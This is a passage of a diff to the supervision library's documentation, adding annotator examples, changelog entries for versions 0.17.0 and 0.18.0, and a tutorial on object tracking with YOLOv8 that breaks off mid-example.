-    >>> detections = sv.Detections(...)
+    image = ...
+    detections = sv.Detections(...)

-    >>> mask_annotator = sv.MaskAnnotator()
-    >>> annotated_frame = mask_annotator.annotate(
-    ...     scene=image.copy(),
-    ...     detections=detections
-    ... )
+    mask_annotator = sv.MaskAnnotator()
+    annotated_frame = mask_annotator.annotate(
+        scene=image.copy(),
+        detections=detections
+    )
    ```

    <div class="result" markdown>
@@ -166,19 +234,40 @@

    </div>

+=== "Polygon"
+
+    ```python
+    import supervision as sv
+
+    image = ...
+    detections = sv.Detections(...)
+
+    polygon_annotator = sv.PolygonAnnotator()
+    annotated_frame = polygon_annotator.annotate(
+        scene=image.copy(),
+        detections=detections
+    )
+    ```
+
+    <div class="result" markdown>
+
+    ![polygon-annotator-example](https://media.roboflow.com/supervision-annotator-examples/polygon-annotator-example-purple.png){ align=center width="800" }
+
+    </div>
+
 === "Label"

    ```python
-    >>> import supervision as sv
+     import supervision as sv

-    >>> image = ...
-    >>> detections = sv.Detections(...)
+    image = ...
+    detections = sv.Detections(...)

-    >>> label_annotator = sv.LabelAnnotator(text_position=sv.Position.CENTER)
-    >>> annotated_frame = label_annotator.annotate(
-    ...     scene=image.copy(),
-    ...     detections=detections
-    ... )
+    label_annotator = sv.LabelAnnotator(text_position=sv.Position.CENTER)
+    annotated_frame = label_annotator.annotate(
+        scene=image.copy(),
+        detections=detections
+    )
    ```

    <div class="result" markdown>
@@ -190,16 +279,16 @@
 === "Blur"

    ```python
-    >>> import supervision as sv
+    import supervision as sv

-    >>> image = ...
-    >>> detections = sv.Detections(...)
+    image = ...
+    detections = sv.Detections(...)

-    >>> blur_annotator = sv.BlurAnnotator()
-    >>> annotated_frame = blur_annotator.annotate(
-    ...     scene=image.copy(),
-    ...     detections=detections
-    ... )
+    blur_annotator = sv.BlurAnnotator()
+    annotated_frame = blur_annotator.annotate(
+        scene=image.copy(),
+        detections=detections
+    )
    ```

    <div class="result" markdown>
@@ -208,29 +297,50 @@

    </div>

+=== "Pixelate"
+
+    ```python
+    import supervision as sv
+
+    image = ...
+    detections = sv.Detections(...)
+
+    pixelate_annotator = sv.PixelateAnnotator()
+    annotated_frame = pixelate_annotator.annotate(
+        scene=image.copy(),
+        detections=detections
+    )
+    ```
+
+    <div class="result" markdown>
+
+    ![pixelate-annotator-example](https://media.roboflow.com/supervision-annotator-examples/pixelate-annotator-example-10.png){ align=center width="800" }
+
+    </div>
+
 === "Trace"

    ```python
-    >>> import supervision as sv
-    >>> from ultralytics import YOLO
+    import supervision as sv
+    from ultralytics import YOLO

-    >>> model = YOLO('yolov8x.pt')
+    model = YOLO('yolov8x.pt')

-    >>> trace_annotator = sv.TraceAnnotator()
+    trace_annotator = sv.TraceAnnotator()

-    >>> video_info = sv.VideoInfo.from_video_path(video_path='...')
-    >>> frames_generator = get_video_frames_generator(source_path='...')
-    >>> tracker = sv.ByteTrack()
+    video_info = sv.VideoInfo.from_video_path(video_path='...')
+    frames_generator = get_video_frames_generator(source_path='...')
+    tracker = sv.ByteTrack()

-    >>> with sv.VideoSink(target_path='...', video_info=video_info) as sink:
-    ...    for frame in frames_generator:
-    ...        result = model(frame)[0]
-    ...        detections = sv.Detections.from_ultralytics(result)
-    ...        detections = tracker.update_with_detections(detections)
-    ...        annotated_frame = trace_annotator.annotate(
-    ...            scene=frame.copy(),
-    ...            detections=detections)
-    ...        sink.write_frame(frame=annotated_frame)
+    with sv.VideoSink(target_path='...', video_info=video_info) as sink:
+        for frame in frames_generator:
+            result = model(frame)[0]
+            detections = sv.Detections.from_ultralytics(result)
+            detections = tracker.update_with_detections(detections)
+            annotated_frame = trace_annotator.annotate(
+                scene=frame.copy(),
+                detections=detections)
+            sink.write_frame(frame=annotated_frame)
    ```

    <div class="result" markdown>
@@ -242,29 +352,29 @@
 === "HeatMap"

    ```python
-    >>> import supervision as sv
-    >>> from ultralytics import YOLO
+    import supervision as sv
+    from ultralytics import YOLO

-    >>> model = YOLO('yolov8x.pt')
+    model = YOLO('yolov8x.pt')

-    >>> heat_map_annotator = sv.HeatMapAnnotator()
+    heat_map_annotator = sv.HeatMapAnnotator()

-    >>> video_info = sv.VideoInfo.from_video_path(video_path='...')
-    >>> frames_generator = get_video_frames_generator(source_path='...')
+    video_info = sv.VideoInfo.from_video_path(video_path='...')
+    frames_generator = get_video_frames_generator(source_path='...')

-    >>> with sv.VideoSink(target_path='...', video_info=video_info) as sink:
-    ...    for frame in frames_generator:
-    ...        result = model(frame)[0]
-    ...        detections = sv.Detections.from_ultralytics(result)
-    ...        annotated_frame = heat_map_annotator.annotate(
-    ...            scene=frame.copy(),
-    ...            detections=detections)
-    ...        sink.write_frame(frame=annotated_frame)
+    with sv.VideoSink(target_path='...', video_info=video_info) as sink:
+        for frame in frames_generator:
+            result = model(frame)[0]
+            detections = sv.Detections.from_ultralytics(result)
+            annotated_frame = heat_map_annotator.annotate(
+                scene=frame.copy(),
+                detections=detections)
+            sink.write_frame(frame=annotated_frame)
    ```

    <div class="result" markdown>

-    ![trace-annotator-example](https://media.roboflow.com/supervision-annotator-examples/heat-map-annotator-example-purple.png){ align=center width="800" }
+    ![heat-map-annotator-example](https://media.roboflow.com/supervision-annotator-examples/heat-map-annotator-example-purple.png){ align=center width="800" }

    </div>

@@ -272,13 +382,21 @@

 :::supervision.annotators.core.BoundingBoxAnnotator

+## RoundBoxAnnotator
+
+:::supervision.annotators.core.RoundBoxAnnotator
+
 ## BoxCornerAnnotator

 :::supervision.annotators.core.BoxCornerAnnotator

-## BoxMaskAnnotator
+## OrientedBoxAnnotator

-:::supervision.annotators.core.BoxMaskAnnotator
+:::supervision.annotators.core.OrientedBoxAnnotator
+
+## ColorAnnotator
+
+:::supervision.annotators.core.ColorAnnotator

 ## CircleAnnotator

@@ -288,6 +406,10 @@

 :::supervision.annotators.core.DotAnnotator

+## TriangleAnnotator
+
+:::supervision.annotators.core.TriangleAnnotator
+
 ## EllipseAnnotator

 :::supervision.annotators.core.EllipseAnnotator
@@ -296,6 +418,10 @@

 :::supervision.annotators.core.HaloAnnotator

+## PercentageBarAnnotator
+
+:::supervision.annotators.core.PercentageBarAnnotator
+
 ## HeatMapAnnotator

 :::supervision.annotators.core.HeatMapAnnotator
@@ -304,6 +430,10 @@

 :::supervision.annotators.core.MaskAnnotator

+## PolygonAnnotator
+
+:::supervision.annotators.core.PolygonAnnotator
+
 ## LabelAnnotator

 :::supervision.annotators.core.LabelAnnotator
@@ -312,6 +442,10 @@

 :::supervision.annotators.core.BlurAnnotator

+## PixelateAnnotator
+
+:::supervision.annotators.core.PixelateAnnotator
+
 ## TraceAnnotator

 :::supervision.annotators.core.TraceAnnotator
@@ -1,3 +1,7 @@
+---
+comments: true
+---
+
 Supervision offers an assets download utility that allows you to download video files
 that you can use in your demos.

@@ -1,3 +1,128 @@
+### 0.18.0 <small>January 25, 2024</small>
+
+- Added [#633](https://github.com/roboflow/supervision/pull/720): [`sv.PercentageBarAnnotator`](https://supervision.roboflow.com/annotators/#percentagebarannotator) allowing to annotate images and videos with percentage values representing confidence or other custom property.
+
+```python
+>>> import supervision as sv
+
+>>> image = ...
+>>> detections = sv.Detections(...)
+
+>>> percentage_bar_annotator = sv.PercentageBarAnnotator()
+>>> annotated_frame = percentage_bar_annotator.annotate(
+...     scene=image.copy(),
+...     detections=detections
+... )
+```
+
+- Added [#702](https://github.com/roboflow/supervision/pull/702): [`sv.RoundBoxAnnotator`](https://supervision.roboflow.com/annotators/#roundboxannotator) allowing to annotate images and videos with rounded corners bounding boxes.
+
+- Added [#770](https://github.com/roboflow/supervision/pull/770): [`sv.OrientedBoxAnnotator`](https://supervision.roboflow.com/annotators/#orientedboxannotator) allowing to annotate images and videos with OBB (Oriented Bounding Boxes).
+
+```python
+import cv2
+import supervision as sv
+from ultralytics import YOLO
+
+image = cv2.imread(<SOURCE_IMAGE_PATH>)
+model = YOLO("yolov8n-obb.pt")
+
+result = model(image)[0]
+detections = sv.Detections.from_ultralytics(result)
+
+oriented_box_annotator = sv.OrientedBoxAnnotator()
+annotated_frame = oriented_box_annotator.annotate(
+    scene=image.copy(),
+    detections=detections
+)
+```
+
+- Added [#696](https://github.com/roboflow/supervision/pull/696): [`sv.DetectionsSmoother`](https://supervision.roboflow.com/detection/tools/smoother/#detection-smoother) allowing for smoothing detections over multiple frames in video tracking.
+
+- Added [#769](https://github.com/roboflow/supervision/pull/769): [`sv.ColorPalette.from_matplotlib`](https://supervision.roboflow.com/draw/color/#supervision.draw.color.ColorPalette.from_matplotlib) allowing users to create a `sv.ColorPalette` instance from a Matplotlib color palette.
+
+```python
+>>> import supervision as sv
+
+>>> sv.ColorPalette.from_matplotlib('viridis', 5)
+ColorPalette(colors=[Color(r=68, g=1, b=84), Color(r=59, g=82, b=139), ...])
+```
+
+- Changed [#770](https://github.com/roboflow/supervision/pull/770): [`sv.Detections.from_ultralytics`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_ultralytics) adding support for OBB (Oriented Bounding Boxes).
+
+- Changed [#735](https://github.com/roboflow/supervision/pull/735): [`sv.LineZone`](https://supervision.roboflow.com/detection/tools/line_zone/#linezone) to now accept a list of specific box anchors that must cross the line for a detection to be counted. This update marks a significant improvement from the previous requirement, where all four box corners were necessary. Users can now specify a single anchor, such as `sv.Position.BOTTOM_CENTER`, or any other combination of anchors defined as `List[sv.Position]`.
+
+- Changed [#756](https://github.com/roboflow/supervision/pull/756): [`sv.Color`](https://supervision.roboflow.com/draw/color/#color)'s and [`sv.ColorPalette`](https://supervision.roboflow.com/draw/color/#colorpalette)'s method of accessing predefined colors, transitioning from a function-based approach (`sv.Color.red()`) to a more intuitive and conventional property-based method (`sv.Color.RED`).
+
+!!! warning
+
+    `sv.ColorPalette.default()` is deprecated and will be removed in `supervision-0.21.0`. Use `sv.ColorPalette.DEFAULT` instead.
+
+
+- Changed [#769](https://github.com/roboflow/supervision/pull/769): [`sv.ColorPalette.DEFAULT`](https://supervision.roboflow.com/draw/color/#colorpalette) value, giving users a more extensive set of annotation colors.
+
+- Changed [#677](https://github.com/roboflow/supervision/pull/677): `sv.Detections.from_roboflow` to [`sv.Detections.from_inference`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_inference) streamlining its functionality to be compatible with both the both [inference](https://github.com/roboflow/inference) pip package and the Robloflow [hosted API](https://docs.roboflow.com/deploy/hosted-api).
+
+!!! warning
+
+    `Detections.from_roboflow()` is deprecated and will be removed in `supervision-0.21.0`. Use `Detections.from_inference` instead.
+
+
+- Fixed [#735](https://github.com/roboflow/supervision/pull/735): [`sv.LineZone`](https://supervision.roboflow.com/detection/tools/line_zone/#linezone) functionality to accurately update the counter when an object crosses a line from any direction, including from the side. This enhancement enables more precise tracking and analytics, such as calculating individual in/out counts for each lane on the road.
+
+### 0.17.0 <small>December 06, 2023</small>
+
+- Added [#633](https://github.com/roboflow/supervision/pull/633): [`sv.PixelateAnnotator`](https://supervision.roboflow.com/annotators/#supervision.annotators.core.PixelateAnnotator) allowing to pixelate objects on images and videos.
+
+- Added [#652](https://github.com/roboflow/supervision/pull/652): [`sv.TriangleAnnotator`](https://supervision.roboflow.com/annotators/#supervision.annotators.core.TriangleAnnotator) allowing to annotate images and videos with triangle markers.
+
+- Added [#602](https://github.com/roboflow/supervision/pull/602): [`sv.PolygonAnnotator`](https://supervision.roboflow.com/annotators/#supervision.annotators.core.PolygonAnnotator) allowing to annotate images and videos with segmentation mask outline.
+
+```python
+>>> import supervision as sv
+
+>>> image = ...
+>>> detections = sv.Detections(...)
+
+>>> polygon_annotator = sv.PolygonAnnotator()
+>>> annotated_frame = polygon_annotator.annotate(
+...     scene=image.copy(),
+...     detections=detections
+... )
+```
+
+- Added [#476](https://github.com/roboflow/supervision/pull/476): [`sv.assets`](https://supervision.roboflow.com/assets/) allowing download of video files that you can use in your demos.
+
+```python
+>>> from supervision.assets import download_assets, VideoAssets
+>>> download_assets(VideoAssets.VEHICLES)
+"vehicles.mp4"
+```
+
+- Added [#605](https://github.com/roboflow/supervision/pull/605): [`Position.CENTER_OF_MASS`](https://supervision.roboflow.com/geometry/core/#position) allowing to place labels in center of mass of segmentation masks.
+
+- Added [#651](https://github.com/roboflow/supervision/pull/651): [`sv.scale_boxes`](https://supervision.roboflow.com/detection/utils/#supervision.detection.utils.scale_boxes) allowing to scale [`sv.Detections.xyxy`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections) values.
+
+- Added [#637](https://github.com/roboflow/supervision/pull/637): [`sv.calculate_dynamic_text_scale`](https://supervision.roboflow.com/draw/utils/#supervision.draw.utils.calculate_dynamic_text_scale) and [`sv.calculate_dynamic_line_thickness`](https://supervision.roboflow.com/draw/utils/#supervision.draw.utils.calculate_dynamic_line_thickness) allowing text scale and line thickness to match image resolution.
+
+- Added [#620](https://github.com/roboflow/supervision/pull/620): [`sv.Color.as_hex`](https://supervision.roboflow.com/draw/color/#supervision.draw.color.Color.as_hex) allowing to extract color value in HEX format.
+
+- Added [#572](https://github.com/roboflow/supervision/pull/572): [`sv.Classifications.from_timm`](https://supervision.roboflow.com/classification/core/#supervision.classification.core.Classifications.from_timm) allowing to load classification result from [timm](https://huggingface.co/docs/hub/timm) models.
+
+- Added [#478](https://github.com/roboflow/supervision/pull/478): [`sv.Classifications.from_clip`](https://supervision.roboflow.com/classification/core/#supervision.classification.core.Classifications.from_clip) allowing to load classification result from [clip](https://github.com/openai/clip) model.
+
+- Added [#571](https://github.com/roboflow/supervision/pull/571): [`sv.Detections.from_azure_analyze_image`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_azure_analyze_image) allowing to load detection results from [Azure Image Analysis](https://learn.microsoft.com/en-us/azure/ai-services/computer-vision/concept-object-detection-40).
+
+- Changed [#646](https://github.com/roboflow/supervision/pull/646): `sv.BoxMaskAnnotator` renaming it to [`sv.ColorAnnotator`](https://supervision.roboflow.com/annotators/#supervision.annotators.core.ColorAnnotator).
+
+- Changed [#606](https://github.com/roboflow/supervision/pull/606): [`sv.MaskAnnotator`](https://supervision.roboflow.com/annotators/#supervision.annotators.core.MaskAnnotator) to make it **5x faster**.
+
+- Fixed [#584](https://github.com/roboflow/supervision/pull/584): [`sv.DetectionDataset.from_yolo`](https://supervision.roboflow.com/datasets/#supervision.dataset.core.DetectionDataset.from_yolo) to ignore empty lines in annotation files.
+
+- Fixed [#555](https://github.com/roboflow/supervision/pull/555): [`sv.BlurAnnotator`](https://supervision.roboflow.com/annotators/#supervision.annotators.core.BlurAnnotator) to trim negative coordinates before bluring detections.
+
+- Fixed [#511](https://github.com/roboflow/supervision/pull/511): [`sv.TraceAnnotator`](https://supervision.roboflow.com/annotators/#supervision.annotators.core.TraceAnnotator) to respect trace position.
+
 ### 0.16.0 <small>October 19, 2023</small>

 - Added [#422](https://github.com/roboflow/supervision/pull/422): [`sv.BoxMaskAnnotator`](https://supervision.roboflow.com/annotators/#supervision.annotators.core.BoxMaskAnnotator) allowing to annotate images and videos with mox masks.
@@ -1,3 +1,7 @@
+---
+comments: true
+---
+
 ## Classifications

 :::supervision.classification.core.Classifications
@@ -1,3 +1,7 @@
+---
+comments: true
+---
+
 !!! warning

    Dataset API is still fluid and may change. If you use Dataset API in your project until further notice, freeze the
@@ -1,3 +1,8 @@
+---
+comments: true
+status: new
+---
+
 ## Detections

 :::supervision.detection.core.Detections
@@ -1,3 +1,7 @@
+---
+comments: true
+---
+
 ## InferenceSlicer

 :::supervision.detection.tools.inference_slicer.InferenceSlicer
@@ -1,3 +1,7 @@
+---
+comments: true
+---
+
 ## LineZone

 :::supervision.detection.line_counter.LineZone
@@ -1,3 +1,7 @@
+---
+comments: true
+---
+
 ## PolygonZone

 :::supervision.detection.tools.polygon_zone.PolygonZone
@@ -0,0 +1,8 @@
+---
+comments: true
+status: new
+---
+
+## Detection Smoother
+
+:::supervision.detection.tools.smoother.DetectionsSmoother
@@ -1,3 +1,7 @@
+---
+comments: true
+---
+
 ## box_iou_batch

 :::supervision.detection.utils.box_iou_batch
@@ -25,3 +29,11 @@
 ## filter_polygons_by_area

 :::supervision.detection.utils.filter_polygons_by_area
+
+## move_boxes
+
+:::supervision.detection.utils.move_boxes
+
+## scale_boxes
+
+:::supervision.detection.utils.scale_boxes
@@ -1,3 +1,7 @@
+---
+comments: true
+---
+
 ## Color

 :::supervision.draw.color.Color
@@ -1,3 +1,7 @@
+---
+comments: true
+---
+
 ## draw_line

 :::supervision.draw.utils.draw_line
@@ -21,3 +25,11 @@
 ## draw_image

 :::supervision.draw.utils.draw_image
+
+## calculate_dynamic_font_scale
+
+:::supervision.draw.utils.calculate_dynamic_text_scale
+
+## calculate_dynamic_line_thickness
+
+:::supervision.draw.utils.calculate_dynamic_line_thickness
@@ -1,3 +1,7 @@
+---
+comments: true
+---
+
 ## Position

 :::supervision.geometry.core.Position
@@ -1,71 +1,136 @@
-With Supervision, you can easily [annotate](https://supervision.roboflow.com/annotators/) predictions obtained from a variety of object detection and segmentation models. This document outlines how to run inference using the [Ultralytics](https://github.com/ultralytics/ultralytics) YOLOv8 model, load these predictions into Supervision, and annotate the image.
+---
+comments: true
+---
+
+Supervision offers a streamlined solution to effortlessly annotate predictions from a
+range of object detection and segmentation models. This guide demonstrates how to
+execute inference using the YOLOv8 model with either the
+[Inference](https://github.com/roboflow/inference) or
+[Ultralytics](https://github.com/ultralytics/ultralytics) packages. Following this,
+you'll learn how to import these predictions into Supervision for image annotation
+purposes.

 ## Run Inference

 First, you'll need to obtain predictions from your object detection or segmentation model.
-```python
-import cv2
-from ultralytics import YOLO

-model = YOLO("yolov8n.pt")
-image = cv2.imread("image.jpg")
-results = model(image)[0]
-```
+=== "Ultralytics"
+
+    ```python
+    import cv2
+    from ultralytics import YOLO
+
+    model = YOLO("yolov8n.pt")
+    image = cv2.imread(<PATH TO IMAGE>)
+    results = model(image)[0]
+    ```
+
+=== "Inference"
+
+    ```python
+    import cv2
+    from inference.models.utils import get_roboflow_model
+
+    model = get_roboflow_model(model_id="yolov8n-640", api_key=<ROBOFLOW API KEY>)
+    image = cv2.imread(<PATH TO IMAGE>)
+    results = model.infer(image)[0]
+    ```

 ## Load Predictions into Supervision

-Now that we have predictions from a model, we can load them into Supervision. We can do so using the [`sv.Detections.from_ultralytics`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_ultralytics) method, which accepts model results from both detection and segmentation models.
+Now that we have predictions from a model, we can load them into Supervision.

-```python
-import cv2
-from ultralytics import YOLO
-import supervision as sv
+=== "Ultralytics"

-model = YOLO("yolov8n.pt")
-image = cv2.imread("image.jpg")
-results = model(image)[0]
-detections = sv.Detections.from_ultralytics(results)
-```
+    We can do so using the [`sv.Detections.from_ultralytics`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_ultralytics) method, which accepts model results from both detection and segmentation models.
+
+    ```python
+    import cv2
+    import supervision as sv
+    from ultralytics import YOLO
+
+    model = YOLO("yolov8n.pt")
+    image = cv2.imread(<PATH TO IMAGE>)
+    results = model(image)[0]
+    detections = sv.Detections.from_ultralytics(results)
+    ```
+
+=== "Inference"
+
+    We can do so using the [`sv.Detections.from_inference`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_inference) method, which accepts model results from both detection and segmentation models.
+
+    ```python
+    import cv2
+    import supervision as sv
+    from inference.models.utils import get_roboflow_model
+
+    model = get_roboflow_model(model_id="yolov8n-640", api_key=<ROBOFLOW API KEY>
+    image = cv2.imread(<PATH TO IMAGE>)
+    results = model.infer(image)[0]
+    detections = sv.Detections.from_inference(results)
+    ```

 You can conveniently load predictions from other computer vision frameworks and libraries using:

 - [`from_deepsparse`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_deepsparse) ([Deepsparse](https://github.com/neuralmagic/deepsparse))
 - [`from_detectron2`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_detectron2) ([Detectron2](https://github.com/facebookresearch/detectron2))
 - [`from_mmdetection`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_mmdetection) ([MMDetection](https://github.com/open-mmlab/mmdetection))
- [`from_roboflow`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_roboflow) ([Roboflow Inference](https://github.com/roboflow/inference))
+- [`from_inference`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_inference) ([Roboflow Inference](https://github.com/roboflow/inference))
 - [`from_sam`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_sam) ([Segment Anything Model](https://github.com/facebookresearch/segment-anything))
 - [`from_transformers`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_transformers) ([HuggingFace Transformers](https://github.com/huggingface/transformers))
 - [`from_yolo_nas`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_yolo_nas) ([YOLO-NAS](https://github.com/Deci-AI/super-gradients/blob/master/YOLONAS.md))

-
 ## Annotate Image

 Finally, we can annotate the image with the predictions. Since we are working with an object detection model, we will use the [`sv.BoundingBoxAnnotator`](https://supervision.roboflow.com/annotators/#supervision.annotators.core.BoundingBoxAnnotator) and [`sv.LabelAnnotator`](https://supervision.roboflow.com/annotators/#supervision.annotators.core.LabelAnnotator) classes. If you are running the segmentation model [`sv.MaskAnnotator`](https://supervision.roboflow.com/annotators/#supervision.annotators.core.MaskAnnotator) is a drop-in replacement for [`sv.BoundingBoxAnnotator`](https://supervision.roboflow.com/annotators/#supervision.annotators.core.BoundingBoxAnnotator) that will allow you to draw masks instead of boxes.

-```python
-import cv2
-from ultralytics import YOLO
-import supervision as sv
+=== "Ultralytics"

-model = YOLO("yolov8n.pt")
-image = cv2.imread("image.jpg")
-results = model(image)[0]
-detections = sv.Detections.from_ultralytics(results)
+    ```python
+    import cv2
+    import supervision as sv
+    from ultralytics import YOLO

-bounding_box_annotator = sv.BoundingBoxAnnotator()
-label_annotator = sv.LabelAnnotator()
+    model = YOLO("yolov8n.pt")
+    image = cv2.imread(<PATH TO IMAGE>)
+    results = model(image)[0]
+    detections = sv.Detections.from_ultralytics(results)

-labels = [
-    results.names[class_id]
-    for class_id
-    in detections.class_id
-]
+    bounding_box_annotator = sv.BoundingBoxAnnotator()
+    label_annotator = sv.LabelAnnotator()

-annotated_image = bounding_box_annotator.annotate(
-    scene=image, detections=detections)
-annotated_image = label_annotator.annotate(
-    scene=annotated_image, detections=detections, labels=labels)
-```
+    labels = [
+        model.model.names[class_id]
+        for class_id
+        in detections.class_id
+    ]
+
+    annotated_image = bounding_box_annotator.annotate(
+        scene=image, detections=detections)
+    annotated_image = label_annotator.annotate(
+        scene=annotated_image, detections=detections, labels=labels)
+    ```
+
+=== "Inference"
+
+    ```python
+    import cv2
+    import supervision as sv
+    from inference.models.utils import get_roboflow_model
+
+    model = get_roboflow_model(model_id="yolov8n-640", api_key=<ROBOFLOW API KEY>
+    image = cv2.imread(<PATH TO IMAGE>)
+    results = model.infer(image)[0]
+    detections = sv.Detections.from_inference(results)
+
+    bounding_box_annotator = sv.BoundingBoxAnnotator()
+    label_annotator = sv.LabelAnnotator()
+
+    annotated_image = bounding_box_annotator.annotate(
+        scene=image, detections=detections)
+    annotated_image = label_annotator.annotate(
+        scene=annotated_image, detections=detections)
+    ```

 ![Predictions plotted on an image](https://media.roboflow.com/supervision_annotate_example.png)

@@ -1 +0,0 @@
-🚧 Page under construction.
@@ -1,3 +1,7 @@
+---
+comments: true
+---
+
 The advanced filtering capabilities of the `Detections` class offer users a versatile and efficient way to narrow down
 and refine object detections. This section outlines various filtering methods, including filtering by specific class
 or a set of classes, confidence, object area, bounding box area, relative area, box dimensions, and designated zones.
@@ -1 +0,0 @@
-🚧 Page under construction.
@@ -1 +1,317 @@
-🚧 Page under construction.
+---
+comments: true
+---
+
+Leverage Supervision's advanced capabilities for enhancing your video analysis by
+seamlessly [tracking](https://supervision.roboflow.com/trackers/) objects recognized by
+a multitude of object detection and segmentation models. This comprehensive guide will
+take you through the steps to perform inference using the YOLOv8 model via either the
+[Inference](https://github.com/roboflow/inference) or
+[Ultralytics](https://github.com/ultralytics/ultralytics) packages. Following this,
+you'll discover how to track these objects efficiently and annotate your video content
+for a deeper analysis.
+
+To make it easier for you to follow our tutorial download the video we will use as an
+example. You can do this using
+[`supervision[assets]`](https://supervision.roboflow.com/assets/) extension.
+
+```python
+from supervision.assets import download_assets, VideoAssets
+
+download_assets(VideoAssets.PEOPLE_WALKING)
+```
+
+<video controls>
+    <source src="https://media.roboflow.com/supervision/video-examples/people-walking.mp4" type="video/mp4">
+</video>
+
+## Run Inference
+
+First, you'll need to obtain predictions from your object detection or segmentation
+model. In this tutorial, we are using the YOLOv8 model as an example. However,
+Supervision is versatile and compatible with various models. Check this
+[link](https://supervision.roboflow.com/how_to/detect_and_annotate/#load-predictions-into-supervision)
+for guidance on how to plug in other models.
+
+We will define a `callback` function, which will process each frame of the video
+by obtaining model predictions and then annotating the frame based on these predictions.
+This `callback` function will be essential in the subsequent steps of the tutorial, as
+it will be modified to include tracking, labeling, and trace annotations.
+
+=== "Ultralytics"
+
+    ```{ .py }
+    import numpy as np
+    import supervision as sv
+    from ultralytics import YOLO
+
+    model = YOLO("yolov8n.pt")
+    box_annotator = sv.BoundingBoxAnnotator()
+
+    def callback(frame: np.ndarray, _: int) -> np.ndarray:
+        results = model(frame)[0]
+        detections = sv.Detections.from_ultralytics(results)
+        return box_annotator.annotate(frame.copy(), detections=detections)
+
+    sv.process_video(
+        source_path="people-walking.mp4",
+        target_path="result.mp4",
+        callback=callback
+    )
+    ```
+
+=== "Inference"
+
+    ```{ .py }
+    import numpy as np
+    import supervision as sv
+    from inference.models.utils import get_roboflow_model
+
+    model = get_roboflow_model(model_id="yolov8n-640", api_key=<ROBOFLOW API KEY>)
+    box_annotator = sv.BoundingBoxAnnotator()
+
+    def callback(frame: np.ndarray, _: int) -> np.ndarray:
+        results = model.infer(frame)[0]
+        detections = sv.Detections.from_inference(results)
+        return box_annotator.annotate(frame.copy(), detections=detections)
+
+    sv.process_video(
+        source_path="people-walking.mp4",
+        target_path="result.mp4",
+        callback=callback
+    )
+    ```
+
+<video controls>
+    <source src="https://media.roboflow.com/supervision/video-examples/how-to/track-objects/run-inference.mp4" type="video/mp4">
+</video>
+
+## Tracking
+
+After running inference and obtaining predictions, the next step is to track the
+detected objects throughout the video. Utilizing Supervision’s
+[`sv.ByteTrack`](https://supervision.roboflow.com/trackers/#supervision.tracker.byte_tracker.core.ByteTrack)
+functionality, each detected object is assigned a unique tracker ID,
+enabling the continuous following of the object's motion path across different frames.
+
+=== "Ultralytics"
+
+    ```{ .py hl_lines="6 12" }
+    import numpy as np
+    import supervision as sv
+    from ultralytics import YOLO
+
+    model = YOLO("yolov8n.pt")
+    tracker = sv.ByteTrack()
+    box_annotator = sv.BoundingBoxAnnotator()
+
+    def callback(frame: np.ndarray, _: int) -> np.ndarray:
+        results = model(frame)[0]
+        detections = sv.Detections.from_ultralytics(results)
+        detections = tracker.update_with_detections(detections)
+        return box_annotator.annotate(frame.copy(), detections=detections)
+
+    sv.process_video(
+        source_path="people-walking.mp4",
+        target_path="result.mp4",
+        callback=callback
+    )
+    ```
+
+=== "Inference"
+
+    ```{ .py hl_lines="6 12" }
+    import numpy as np
+    import supervision as sv
+    from inference.models.utils import get_roboflow_model
+
+    model = get_roboflow_model(model_id="yolov8n-640", api_key=<ROBOFLOW API KEY>)
+    tracker = sv.ByteTrack()
+    box_annotator = sv.BoundingBoxAnnotator()
+
+    def callback(frame: np.ndarray, _: int) -> np.ndarray:
+        results = model.infer(frame)[0]
+        detections = sv.Detections.from_inference(results)
+        detections = tracker.update_with_detections(detections)
+        return box_annotator.annotate(frame.copy(), detections=detections)
+
+    sv.process_video(
+        source_path="people-walking.mp4",
+        target_path="result.mp4",
+        callback=callback
+    )
+    ```
+
+## Annotate Video with Tracking IDs
+
+Annotating the video with tracking IDs helps in distinguishing and following each object
+distinctly. With the
+[`sv.LabelAnnotator`](https://supervision.roboflow.com/annotators/#supervision.annotators.core.LabelAnnotator)
+in Supervision, we can overlay the tracker IDs and class labels on the detected objects,
+offering a clear visual representation of each object's class and unique identifier.
+
+=== "Ultralytics"
+
+    ```{ .py hl_lines="8 15-19 23-24" }
+    import numpy as np
+    import supervision as sv
+    from ultralytics import YOLO
+
+    model = YOLO("yolov8n.pt")
+    tracker = sv.ByteTrack()
+    box_annotator = sv.BoundingBoxAnnotator()
+    label_annotator = sv.LabelAnnotator()
+
+    def callback(frame: np.ndarray, _: int) -> np.ndarray:
+        results = model(frame)[0]
+        detections = sv.Detections.from_ultralytics(results)
+        detections = tracker.update_with_detections(detections)
+
+        labels = [
+            f"#{tracker_id} {results.names[class_id]}"
+            for class_id, tracker_id
+            in zip(detections.class_id, detections.tracker_id)
+        ]
+
+        annotated_frame = box_annotator.annotate(
+            frame.copy(), detections=detections)
+        return label_annotator.annotate(
+            annotated_frame, detections=detections, labels=labels)
+
+    sv.process_video(
+        source_path="people-walking.mp4",
+        target_path="result.mp4",
+        callback=callback
+    )
+    ```
+
+=== "Inference"
+
+    ```{ .py hl_lines="8 15-19 23-24" }
+    import numpy as np
+    import supervision as sv
+    from inference.models.utils import get_roboflow_model
+
+    model = get_roboflow_model(model_id="yolov8n-640", api_key=<ROBOFLOW API KEY>)
+    tracker = sv.ByteTrack()
+    box_annotator = sv.BoundingBoxAnnotator()
+    label_annotator = sv.LabelAnnotator()
+
+    def callback(frame: np.ndarray, _: int) -> np.ndarray:
+        results = model.infer(frame)[0]
+        detections = sv.Detections.from_inference(results)
+        detections = tracker.update_with_detections(detections)
+
+        labels = [
+            f"#{tracker_id} {results.names[class_id]}"
+            for class_id, tracker_id
